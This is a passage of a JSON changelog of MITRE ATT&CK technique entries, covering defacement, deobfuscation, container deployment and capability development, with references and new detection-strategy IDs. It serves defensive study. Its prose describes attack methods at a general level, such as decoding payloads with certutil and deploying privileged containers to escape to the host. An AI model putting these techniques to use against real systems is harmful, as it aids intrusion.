"Joas Antonio dos Santos, @C0d3Cr4zy"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Application Log: Application Log Content\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.196000+00:00\", \"old_value\": \"2025-04-15 19:59:16.468000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\\n\\nMonitor debugger logs for signs of abnormal and potentially malicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\\n-\\n-Monitor debugger logs for signs of abnormal and potentially malicious activity.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0371: Detection Strategy for Debugger Evasion (T1622)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-04-08 17:51:41.390000+00:00",
"modified": "2025-10-24 17:48:49.761000+00:00",
"name": "Defacement",
"description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1491",
"external_id": "T1491"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"ESXi"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"File: File Creation\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.761000+00:00\", \"old_value\": \"2025-04-25 15:15:35.374000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\\n\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\\n-\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0238: Defacement via File and Web Content Modification Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 14:34:08.496000+00:00",
"modified": "2025-10-24 17:48:23.460000+00:00",
"name": "External Defacement",
"description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1491/002",
"external_id": "T1491.002"
},
{
"source_name": "Anonymous Hackers Deface Russian Govt Site",
"description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
"url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
},
{
"source_name": "FireEye Cyber Threats to Media Industries",
"description": "FireEye. (n.d.). Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210719110553/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
},
{
"source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
"description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
"url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
},
{
"source_name": "Trend Micro Deep Dive Into Defacement",
"description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
"url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"File: File Modification\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.460000+00:00\", \"old_value\": \"2025-04-15 22:34:21.584000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0590: Behavioral Detection of External Website Defacement across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-20 14:31:34.778000+00:00",
"modified": "2025-10-24 17:49:05.030000+00:00",
"name": "Internal Defacement",
"description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)(Citation: Varonis) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1491/001",
"external_id": "T1491.001"
},
{
"source_name": "Varonis",
"description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
"url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
},
{
"source_name": "Novetta Blockbuster Destructive Malware",
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
},
{
"source_name": "Novetta Blockbuster",
"description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
"url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Integrity"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.030000+00:00\", \"old_value\": \"2025-04-15 19:58:49.776000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0082: Internal Website and System Content Defacement via UI or Messaging Modifications"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-12-14 16:46:06.044000+00:00",
"modified": "2025-10-24 17:48:40.925000+00:00",
"name": "Deobfuscate/Decode Files or Information",
"description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1140",
"external_id": "T1140"
},
{
"source_name": "Volexity PowerDuke November 2016",
"description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
"url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
},
{
"source_name": "Sentinel One Tainted Love 2023",
"description": "Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.",
"url": "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/"
},
{
"source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
"description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
"url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
},
{
"source_name": "Carbon Black Obfuscation Sept 2016",
"description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
"url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matthew Demaske, Adaptforward",
"Red Canary",
"Crist\u00f3bal Mart\u00ednez Mart\u00edn"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Script: Script Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.925000+00:00\", \"old_value\": \"2025-04-15 19:58:24.400000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\\n\\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\\n-\\n-Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0012: Script (Script Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0275: Detect Adversary Deobfuscation or Decoding of Files and Payloads"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-29 16:51:26.020000+00:00",
"modified": "2025-10-24 17:48:49.017000+00:00",
"name": "Deploy Container",
"description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1610",
"external_id": "T1610"
},
{
"source_name": "AppSecco Kubernetes Namespace Breakout 2020",
"description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.",
"url": "https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216"
},
{
"source_name": "Aqua Build Images on Hosts",
"description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.",
"url": "https://blog.aquasec.com/malicious-container-image-docker-container-host"
},
{
"source_name": "Docker Containers API",
"description": "Docker. (n.d.). Docker Engine API v1.41 Reference - Container. Retrieved March 29, 2021.",
"url": "https://docs.docker.com/engine/api/v1.41/#tag/Container"
},
{
"source_name": "Kubernetes Workload Management",
"description": "Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.",
"url": "https://kubernetes.io/docs/concepts/workloads/controllers/"
},
{
"source_name": "Kubeflow Pipelines",
"description": "The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines. Retrieved March 29, 2021.",
"url": "https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"
},
{
"source_name": "Kubernetes Dashboard",
"description": "The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard). Retrieved March 29, 2021.",
"url": "https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Pawan Kinger, @kingerpawan, Trend Micro",
"Alfredo Oliveira, Trend Micro",
"Idan Frimark, Cisco",
"Center for Threat-Informed Defense (CTID)",
"Magno Logan, @magnologan, Trend Micro",
"Ariel Shuper, Cisco",
"Vishwas Manral, McAfee",
"Yossi Weizman, Azure Defender Research Team",
"Joas Antonio dos Santos, @C0d3Cr4zy"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Container: Container Start\", \"Application Log: Application Log Content\", \"Pod: Pod Creation\", \"Container: Container Creation\", \"Pod: Pod Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.017000+00:00\", \"old_value\": \"2025-04-15 19:58:33.230000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1030: Network Segmentation",
"M1035: Limit Access to Resource Over Network",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0014: Pod (Pod Creation)",
"DS0014: Pod (Pod Modification)",
"DS0015: Application Log (Application Log Content)",
"DS0032: Container (Container Creation)",
"DS0032: Container (Container Start)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0249: Behavior-chain detection for T1610 Deploy Container across Docker & Kubernetes control/node planes"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:30:00.877000+00:00",
"modified": "2025-10-24 17:49:34.675000+00:00",
"name": "Develop Capabilities",
"description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587",
"external_id": "T1587"
},
{
"source_name": "Kaspersky Sofacy",
"description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
"url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
},
{
"source_name": "Splunk Kovar Certificates 2017",
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
},
{
"source_name": "Mandiant APT1",
"description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
},
{
"source_name": "Talos Promethium June 2020",
"description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.",
"url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
},
{
"source_name": "Bitdefender StrongPity June 2020",
"description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
"url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Content\", \"Malware Repository: Malware Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.675000+00:00\", \"old_value\": \"2025-04-15 22:17:05.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n\\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\\n-\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0004: Malware Repository (Malware Content)",
"DS0004: Malware Repository (Malware Metadata)",
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0853: Detection of Develop Capabilities"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 01:41:08.652000+00:00",
"modified": "2025-10-24 17:48:37.738000+00:00",
"name": "Code Signing Certificates",
"description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1587/002",
"external_id": "T1587.002"
},
{
"source_name": "Wikipedia Code Signing",
"description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
"url": "https://en.wikipedia.org/wiki/Code_signing"
